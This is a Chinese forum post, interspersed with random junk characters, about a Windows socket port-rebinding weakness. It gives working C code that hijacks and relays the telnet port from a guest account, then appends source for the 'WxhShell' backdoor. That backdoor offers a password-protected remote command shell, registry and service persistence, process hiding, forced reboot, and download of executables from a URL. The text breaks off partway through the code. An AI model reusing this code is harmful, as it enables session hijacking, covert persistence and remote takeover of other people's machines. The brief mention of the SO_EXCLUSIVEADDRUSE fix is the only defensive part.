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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aViZKps`m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $ 9%UAqk9  
@cC@(M~Ru  
  saddr.sin_family = AF_INET; 9H6%\#rw  
6hX[5?}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {/E_l  
CqkY_z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @7j$$  
sJ !<qb5!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .WV5Gf)  
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  这意味着什么?意味着可以进行如下的攻击: nA)KRCi  
[d^ [Y:I'\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #vs=yR/tn{  
dPmtU{E<M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e_v_y$  
)@,zG(t5;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qwomc28O  
>o_cf*nx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /nas~{B  
2k]Jkd,E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W~i599!v  
(aTpBXGr=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n=8DC&  
6Ex 16  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r 1x2)  
$FM: 8^  
  #include A]_5O8<buW  
  #include G%#M17   
  #include 8`GN8 F  
  #include    OB5t+_ s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GJo`9  
  int main() oT}-i [=}  
  { :% m56  
  WORD wVersionRequested; hqwDlapTt  
  DWORD ret; p1`") $  
  WSADATA wsaData; p.@_3^#|  
  BOOL val; X7Z=@d(  
  SOCKADDR_IN saddr; 1 LUvs~Qu  
  SOCKADDR_IN scaddr; ,GTIpPj  
  int err; mDX UF~G[  
  SOCKET s; *:tfz*FG$G  
  SOCKET sc; tB/'3#o  
  int caddsize; 2[QyH'"^E  
  HANDLE mt; W6Z3UJ-  
  DWORD tid;   ;cD&qheDV  
  wVersionRequested = MAKEWORD( 2, 2 ); ..a@9#D  
  err = WSAStartup( wVersionRequested, &wsaData ); /4wPMAlb  
  if ( err != 0 ) { 55K(]%t  
  printf("error!WSAStartup failed!\n"); #-{^={p "  
  return -1; /)/>/4O  
  } &(/QJ`*8  
  saddr.sin_family = AF_INET; 7S.E,\Tws  
   $s`#&.>c-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m(rd\3d  
W%_Cda5,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >V|KS(}s  
  saddr.sin_port = htons(23); y??^[ sB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %RD%AliO}K  
  { ]7:*A7/!.  
  printf("error!socket failed!\n"); + X0db  
  return -1; -hpC8YS  
  } 0Ma3  
  val = TRUE; KnxK9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sB+ B,DF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y'eE({)<K  
  { 4khc*fh  
  printf("error!setsockopt failed!\n"); C $*#<<G  
  return -1; V:*6R/Ft  
  } < s1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k+;XQEH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;oGpB#[zO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T'${*NVn  
Q=n2frW(T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  Lxqv  
  { /pYp, ak  
  ret=GetLastError(); %z "${ zw  
  printf("error!bind failed!\n"); SsfHp  
  return -1; +5xk6RP   
  } I6lWB(H!u  
  listen(s,2); (>M? iB  
  while(1) Gq0Q}[53  
  { I|/\L|vo  
  caddsize = sizeof(scaddr); j&w4yY  
  //接受连接请求 ;!Q}g19C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kDWMget$  
  if(sc!=INVALID_SOCKET) :{'%I#k2  
  { .X;D I<K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [iGL~RiXtn  
  if(mt==NULL) >))K%\p   
  { (y!V0iy]  
  printf("Thread Creat Failed!\n"); L7OFZ|gUz  
  break; kS1?%E,)q  
  } rJw Ws  
  } U])$#/ v  
  CloseHandle(mt); 1T/ 72+R0  
  } r"bV{v  
  closesocket(s); ;q&2$Mb  
  WSACleanup(); kH">(f  
  return 0; e763 yd  
  }   #CTeZ/g  
  DWORD WINAPI ClientThread(LPVOID lpParam) n1PV/ Z  
  { AEE&{ _[S  
  SOCKET ss = (SOCKET)lpParam; `FHKQS5  
  SOCKET sc; ?my2dd,|  
  unsigned char buf[4096]; )=5 ,S~IT  
  SOCKADDR_IN saddr; )m<CmYr2  
  long num; =)IV^6~b  
  DWORD val; Pt\GVWi_t  
  DWORD ret; HMl M!Xk?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H}PZJf_E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nk.j7tu  
  saddr.sin_family = AF_INET; FfpP<(4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eiJ~1H X)  
  saddr.sin_port = htons(23); 7 (pl HW|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i(an]%'v  
  { YF6 8 Ax]  
  printf("error!socket failed!\n"); Ac8t>;=&  
  return -1; vNSeNS@jxC  
  } Ee097A?1vj  
  val = 100; Ck>{7 Gw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |?<^4U8  
  { L.Tu7+M4  
  ret = GetLastError(); :7[4wQDt4  
  return -1; SI9PgC  
  } H C(7,3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Wa7$hF  
  { \Y^GA;AMQQ  
  ret = GetLastError(); Ngw/H)<c  
  return -1; ~U+W4%f8  
  } e!oL!Zg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z#Db~  
  { |"i"8~/@<  
  printf("error!socket connect failed!\n"); 0@/C5 v  
  closesocket(sc); nNpXkI:  
  closesocket(ss); 't n-o  
  return -1; UoOxGo  
  } g66x;2Q  
  while(1) EWK?vs  
  { P\{ }yd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8[L]w^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M~P h/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5nS}h76mZ  
  num = recv(ss,buf,4096,0); H{ I,m-  
  if(num>0) DT[WO_=  
  send(sc,buf,num,0); o|Kd\<rY  
  else if(num==0) bA02)?L  
  break; "] [u  
  num = recv(sc,buf,4096,0); pz ~REsx  
  if(num>0) Hd89./v`:  
  send(ss,buf,num,0); NEW0dF&)  
  else if(num==0) qx";G  
  break; t-?#x   
  } w" ,ab j  
  closesocket(ss); 8T}Dn\f  
  closesocket(sc); +Y"HbNz  
  return 0 ; ra}t#Xt`  
  } #8r1<`']!  
)(-aw,i K  
]6@6g>f?  
========================================================== a3c43!J?M  
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下边附上一个代码,,WXhSHELL 8/ zv3.+[  
X]c>clk,  
========================================================== X6so)1jJ  
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#include "stdafx.h" t`pbEjE0K  
sfzDE&>'  
#include <stdio.h> 0 `$fs.4c  
#include <string.h> Z=9gok\  
#include <windows.h> &}!AjA)  
#include <winsock2.h> LX{mr{  
#include <winsvc.h> uxbLoE  
#include <urlmon.h> K:b^@>XH  
}.r)  
#pragma comment (lib, "Ws2_32.lib") dfWtLY  
#pragma comment (lib, "urlmon.lib") UY^TTRrH  
\:9<d@?  
#define MAX_USER   100 // 最大客户端连接数 'c#AGi9  
#define BUF_SOCK   200 // sock buffer k%?qN,Cl  
#define KEY_BUFF   255 // 输入 buffer >/G[Oo  
z yrjb 8  
#define REBOOT     0   // 重启 ,*Wp$  
#define SHUTDOWN   1   // 关机 %hi]oz  
&?Z<"+B8S  
#define DEF_PORT   5000 // 监听端口 P1dFoQz  
4P}d/w?'KL  
#define REG_LEN     16   // 注册表键长度 y/;DA=  
#define SVC_LEN     80   // NT服务名长度 R#4f_9e<Z  
Mw|lEctN0  
// 从dll定义API Qt.|YB8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |>Pz#DCy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZDx1v_xr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g5lK&-yu]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2)9XTY 6$  
=4 NKXP~C  
// wxhshell配置信息 $J=`fx  
struct WSCFG { <z8z\4Hz  
  int ws_port;         // 监听端口 cv-;fd>'  
  char ws_passstr[REG_LEN]; // 口令 @`XbM7D 5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6f)7*j~  
  char ws_regname[REG_LEN]; // 注册表键名 O:Wd ,3_  
  char ws_svcname[REG_LEN]; // 服务名 p<c1$O*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &"d :+!4h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &Xh=bM'/%m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uTNy{RBD+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uoTc c|Kc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KN'twPFq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ 0.!al0  
K6s tkDhb  
}; h>ZU67-   
=\)76xC20  
// default Wxhshell configuration ce7 $# #f  
struct WSCFG wscfg={DEF_PORT, <.:mp1,8V  
    "xuhuanlingzhe", W4"1H0s`l  
    1, )!=fy']  
    "Wxhshell", V$bq|r  
    "Wxhshell", u3\_![Jt?  
            "WxhShell Service", ?f:ND1jU  
    "Wrsky Windows CmdShell Service", CEJqo8ds  
    "Please Input Your Password: ", >=/DCQ$  
  1, 0Ok[`r`  
  "http://www.wrsky.com/wxhshell.exe", Sobp;OZ5  
  "Wxhshell.exe" 3:bP>l!  
    }; m@"p#pt(_  
Kh{_BdN  
// 消息定义模块 r=#v@]z B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `$ pJ2S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kW& zkE{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jQ['f\R  
char *msg_ws_ext="\n\rExit."; [ nLd>2P  
char *msg_ws_end="\n\rQuit."; `KUL 4) g~  
char *msg_ws_boot="\n\rReboot..."; x LGMN)@r  
char *msg_ws_poff="\n\rShutdown..."; rge s`&0  
char *msg_ws_down="\n\rSave to "; 0s6eF+bs  
/4$ c-k  
char *msg_ws_err="\n\rErr!"; |Elz{i-  
char *msg_ws_ok="\n\rOK!"; ^ # 3,*(S  
* yGlX[  
char ExeFile[MAX_PATH]; WnhH]WY  
int nUser = 0; h<i.Z7F;tj  
HANDLE handles[MAX_USER]; 2=$ F*B>9  
int OsIsNt; )h1 `?q:5  
2{S*$K[M  
SERVICE_STATUS       serviceStatus; .}Hs'co  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \zzPsnFIg  
3v3`d+;&  
// 函数声明 ^_/gM[H.  
int Install(void); 0aGAF ]  
int Uninstall(void); eBqF@'DQ  
int DownloadFile(char *sURL, SOCKET wsh); 3935cxT1U  
int Boot(int flag); aT8A +=K6  
void HideProc(void); 40$9./fe)  
int GetOsVer(void); S*%:ID|/C2  
int Wxhshell(SOCKET wsl); T#a6X;9P  
void TalkWithClient(void *cs); S"/gZfxer  
int CmdShell(SOCKET sock); :Yn{:%p  
int StartFromService(void); \wV ?QH  
int StartWxhshell(LPSTR lpCmdLine); tD])&0"(  
- XB[2h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0G3T.4I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EGj zjuJu{  
AjINO}b  
// 数据结构和表定义 !X 0 (4^  
SERVICE_TABLE_ENTRY DispatchTable[] = zKGr(9I  
{ |sBL(9  
{wscfg.ws_svcname, NTServiceMain}, -v=tM6  
{NULL, NULL} |T{ZDJ+  
}; 5#::42oE  
iOiXo6YE  
// 自我安装 Hnf?`j>  
int Install(void) Z|j\_VKhl  
{ p7[&H/  
  char svExeFile[MAX_PATH]; a KIS%M#Y  
  HKEY key; 4|NcWpaV7  
  strcpy(svExeFile,ExeFile); l#a*w  
Pz-=Eq  
// 如果是win9x系统,修改注册表设为自启动 #!4`t]E<  
if(!OsIsNt) { Mm%b8#Fe!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xI8v'[3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e*o:ltP./  
  RegCloseKey(key); P7!gUxcv9Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \>+BvF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jo9c|\4  
  RegCloseKey(key); PRK*7-(  
  return 0; !%QbE[Kl>  
    } Tx/KL%X  
  } !={QL:  
} ]% UAN_T  
else { n yNHjn |W  
jyC>~}?  
// 如果是NT以上系统,安装为系统服务 hcQv!!Q"k$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |2&|#K4k^  
if (schSCManager!=0) S.^x)5/,,T  
{ uU1q?|4  
  SC_HANDLE schService = CreateService BF U#FE)s  
  ( >2tosxH M  
  schSCManager,  3,Bm"'b6  
  wscfg.ws_svcname, b2YOnV  
  wscfg.ws_svcdisp, P> ~Lx  
  SERVICE_ALL_ACCESS, Ms A)Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]v.Yt/&C{  
  SERVICE_AUTO_START, /!-ypIY  
  SERVICE_ERROR_NORMAL, e_Q(l'f  
  svExeFile, AmcBu"  
  NULL, "H}ae7@  
  NULL, #DcK{|ty  
  NULL, cQh=Mri]  
  NULL, s$VLVT*6  
  NULL /(bn+l}W  
  ); qGie~S ##  
  if (schService!=0) y |Tv;v1L  
  { s4>xh=PoJ  
  CloseServiceHandle(schService); Yq:TW eZD  
  CloseServiceHandle(schSCManager); IF3V5Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _x?S0R1  
  strcat(svExeFile,wscfg.ws_svcname); m\ /V0V\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \>4x7mF!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WI54xu1M  
  RegCloseKey(key); *JVJKqed  
  return 0; :#UN^"(m}  
    } q|e<b  
  } qFjnuQ,w  
  CloseServiceHandle(schSCManager); I)4NCjcCw  
} [Kd"M[1[ <  
} Zy > W2(<  
a4N8zDS  
return 1; R= *vPS  
} m`/!7wQs  
[ ]=}0l<J  
// 自我卸载 U &y?3  
int Uninstall(void) 8wA'a'V.  
{ sg,9{R ^  
  HKEY key; 3<HPZWc  
r;8$ 7C.  
if(!OsIsNt) { P87qUC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Q9S~YYq  
  RegDeleteValue(key,wscfg.ws_regname); V$ac}A,!  
  RegCloseKey(key); |HK/*B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l # F.S5i  
  RegDeleteValue(key,wscfg.ws_regname); GK:pt8=  
  RegCloseKey(key); U`ELd:  
  return 0; D~%h3HM  
  } pw1&WP&?3  
} {NV=k%MTmi  
} -Tr*G4  
else { xr-v"-  
j es[a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '>r"+X^W  
if (schSCManager!=0) M \3Zj(E/  
{ <US!XMrCg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XJi^gT N  
  if (schService!=0) @0q*50  
  { l&v&a!EU  
  if(DeleteService(schService)!=0) { W>`#`u  
  CloseServiceHandle(schService); 6o ]X.plr  
  CloseServiceHandle(schSCManager); k%lz%r  
  return 0; }4"T# [n#  
  } F#Xzh Ds  
  CloseServiceHandle(schService);   |HB  
  } 8Wyv!tL  
  CloseServiceHandle(schSCManager); I;Bcim;  
} OAtn.LU  
} *|k/lI  
i fbO<  
return 1; &(HIBF'O  
} q3R?8Mb  
kc70HrG  
// 从指定url下载文件 4f> s2I&pQ  
int DownloadFile(char *sURL, SOCKET wsh) %q 7gl;'  
{ J2~oIe2!+  
  HRESULT hr; "+J[7p}`@  
char seps[]= "/"; I%31MU9  
char *token; pwO U6A!  
char *file; _D?`'zN  
char myURL[MAX_PATH]; dz Z75  
char myFILE[MAX_PATH]; %1VfTr5  
W02swhS  
strcpy(myURL,sURL); 4PAuEM/z  
  token=strtok(myURL,seps); <',bqsg[  
  while(token!=NULL) Lj03Mx.2S  
  { Vt D:'L-  
    file=token; Q@/358.LA  
  token=strtok(NULL,seps); `.a~G y  
  } @^kt[$X;  
KN9e""  
GetCurrentDirectory(MAX_PATH,myFILE); Acib<Mi2!-  
strcat(myFILE, "\\"); 5 MD=o7O^  
strcat(myFILE, file); p-o!K\o-1  
  send(wsh,myFILE,strlen(myFILE),0); L5yv}:.U  
send(wsh,"...",3,0); \4|o5,+(@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |cUBS)[)X  
  if(hr==S_OK) > H(o=39s  
return 0; 7cJh^M   
else w(Hio-l=  
return 1; (Cjw^P|Y@  
_l;$<]re\k  
} E<XrXxS1O  
Zl+Ba   
// 系统电源模块 Fz4g:8qdA  
int Boot(int flag) 9n#Em  
{ ![*7HE>},  
  HANDLE hToken; =Wj{J.7mf]  
  TOKEN_PRIVILEGES tkp; O}IRM|r"  
V,CVMbn/%N  
  if(OsIsNt) { 5b^`M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mlD 1 o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v}AVIdR  
    tkp.PrivilegeCount = 1; >?Ps5n]b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L4L[@tMPmY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tX#8 G09G+  
if(flag==REBOOT) { Tp?l;DU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EFb"{L  
  return 0; (G 3S+T 9  
} u9}k^W)E  
else { 0'9z XJ"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5E!G  
  return 0; oj1,DU  
} 9(;I+.;8k  
  } D~s TQfWr  
  else { CAl]Kpc  
if(flag==REBOOT) { n@Ar%%\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3r (i=ac0  
  return 0; H_CX5=Nq^  
} V]$Tbxg  
else { (NBq!;_2,x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?yq1\G)]  
  return 0; .s !qf!{V`  
} T1Q c?5K^  
} Tn7(A^h'  
UoiXIf_Q  
return 1; 8#MiM . f  
} i #%17}  
BL^8gtdn  
// win9x进程隐藏模块 Z `)}1|~B  
void HideProc(void) M[@=m[#a  
{ AGdFJ>/  
,y5 7tY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jw"]U jub  
  if ( hKernel != NULL ) ?$#,h30  
  { (7qdrAeP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #K3`$^0 s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >$yqx1=jW  
    FreeLibrary(hKernel); DVWqrK}q  
  } U- a+LS  
hi30|^l-  
return;  :nHa-N3  
} pGO)9?j_N  
Dr!g$,9  
// 获取操作系统版本 *N;# _0)/  
int GetOsVer(void) 85 5JAf  
{ s@ ~Y!A  
  OSVERSIONINFO winfo; '!%Zf;Fjr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uzx?U3.\  
  GetVersionEx(&winfo); j}CZ*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yLI)bn!"  
  return 1; I,@f*o  
  else 8JU9Qb]L'I  
  return 0; ?<iinx   
} 0;kp`hB  
$# /-+>  
// 客户端句柄模块 |9F^"7Q~C  
int Wxhshell(SOCKET wsl) AMhHq/Dw  
{ m*d {pX  
  SOCKET wsh; Yc,qXK-  
  struct sockaddr_in client; dt -=7mz#  
  DWORD myID; J AK+v  
f2JeXsOI  
  while(nUser<MAX_USER) &ZRriqsQg  
{ d,_Ky#K5b  
  int nSize=sizeof(client); /*+P}__k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v?U;o&L(  
  if(wsh==INVALID_SOCKET) return 1; cBO.96ZHE  
/8(\AuDT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QyGTm"9l  
if(handles[nUser]==0) B3lP#ckh  
  closesocket(wsh); m;S!E-W  
else avb'J^}f  
  nUser++; )\bA'LuFy  
  } 9"=1 O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a&Stdh  
$X9`~Sv _  
  return 0; bk-veJR  
} TA.ugF)h  
.^fVm  
// 关闭 socket J m5).  
void CloseIt(SOCKET wsh) fR& ;E  
{ 6,707h  
closesocket(wsh); '9+JaB  
nUser--; }J~ d6m  
ExitThread(0);   pE<@  
} b=5"*=T{+  
|bwz  
// 客户端请求句柄 Lad8C  
void TalkWithClient(void *cs) vbo:,]T<A  
{ 9\_^"5l  
!&$uq|-  
  SOCKET wsh=(SOCKET)cs; (^:0g.~c  
  char pwd[SVC_LEN]; ,[ UqUEO  
  char cmd[KEY_BUFF]; eCDwY:t`  
char chr[1]; GI~JIXHTQ  
int i,j; yZ_6yJw3}  
}, < dGmkx  
  while (nUser < MAX_USER) { @2Lp I*]C  
s\)0f_I  
if(wscfg.ws_passstr) { zPonG d1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LRJY63A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 (Lw-_y#  
  //ZeroMemory(pwd,KEY_BUFF); _</>`P[  
      i=0; *kmD/J  
  while(i<SVC_LEN) { \i*QKV<  
H+ P&} 3  
  // 设置超时 x:7"/H|  
  fd_set FdRead; Y+,ii$Ce~  
  struct timeval TimeOut; cN#c25S>  
  FD_ZERO(&FdRead); n#2tFuPE  
  FD_SET(wsh,&FdRead); ^~3u|u  
  TimeOut.tv_sec=8; @B@`V F  
  TimeOut.tv_usec=0; "Cj {Z@n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &tNnW   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Vn(J#s  
S2TyNZbQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x6i7x"  
  pwd=chr[0]; M+7&kt0;  
  if(chr[0]==0xd || chr[0]==0xa) { A5UZUU^  
  pwd=0; \gBsAZE  
  break; @O!BQ^'hk#  
  } ;qA(!`h+  
  i++; ~o_zV'^f@o  
    } ?5N7,|K)  
Hwz.5hV"  
  // 如果是非法用户,关闭 socket eHQS\n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :>:F6Db"U  
} DRDn;j  
d@$]/=%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /IO<TF(X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \]j{  
nY>UYSv  
while(1) {  {"RUiL^  
{Wi)/B}  
  ZeroMemory(cmd,KEY_BUFF); >/r^l)`9_f  
=t/ "&[r  
      // 自动支持客户端 telnet标准   rZij[6]Y^  
  j=0; % `4\ 8H`  
  while(j<KEY_BUFF) { ;?{N=x8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *%3%Zj,{  
  cmd[j]=chr[0]; 'ie+/O@G  
  if(chr[0]==0xa || chr[0]==0xd) { ?~%Go  
  cmd[j]=0; agbG)t0  
  break; 0^0Q0A  
  } U#qs^f7R  
  j++; TrYt(F{t  
    } 0r=KY@D  
'lsG?  
  // 下载文件 !OCb^y  
  if(strstr(cmd,"http://")) { wWI1%#__|o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kH.W17D~  
  if(DownloadFile(cmd,wsh)) Vr<eU>W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[, A>tJ  
  else kBRy(?Mft&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j>}<FW-N  
  } 6h5,XcO4  
  else { 0b)q,]l]  
5DI&pR1eZ  
    switch(cmd[0]) { <>Nq ]WqA  
  ?o D]J  
  // 帮助 5x2m ]u  
  case '?': { N!{waPbPi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,\DSi&T  
    break; !,(6uO%  
  } 8mmHefZ}2!  
  // 安装 J7RO*.O&Iq  
  case 'i': { ![ce=9@t<  
    if(Install()) [X\<C '<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+~^c|  
    else )B!64'|M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f4 [Bj{F  
    break; ndXUR4  
    } RT~6#Caf  
  // 卸载 MYlPG1X=?  
  case 'r': { ta*6xpz-\Q  
    if(Uninstall()) 3d>3f3D8;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8Y;~OAj[  
    else 'QP~uK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q83!PI  
    break; Y) ig:m]#  
    } 8HaBil  
  // 显示 wxhshell 所在路径 Z8vR/  
  case 'p': { 0ECQ>Ux:  
    char svExeFile[MAX_PATH]; $q%l)]+  
    strcpy(svExeFile,"\n\r"); hmG^l4B.T  
      strcat(svExeFile,ExeFile); 7rZE7+%]  
        send(wsh,svExeFile,strlen(svExeFile),0); (QFu``ae+  
    break; "Yy)&zKr  
    } 4#fgUlV  
  // 重启 H6vO}pq) r  
  case 'b': { 6+iZJgwAy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gz~)v\5D/  
    if(Boot(REBOOT)) %8]~+ #]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQvZ(-_;4  
    else { ?j:g.a+U  
    closesocket(wsh); +vSp+X1E  
    ExitThread(0); \G~<O071  
    } fJdTVs@  
    break; ^h5h kIx0  
    } X%lk] &2  
  // 关机 HC$rC"f  
  case 'd': { o6@`aU  
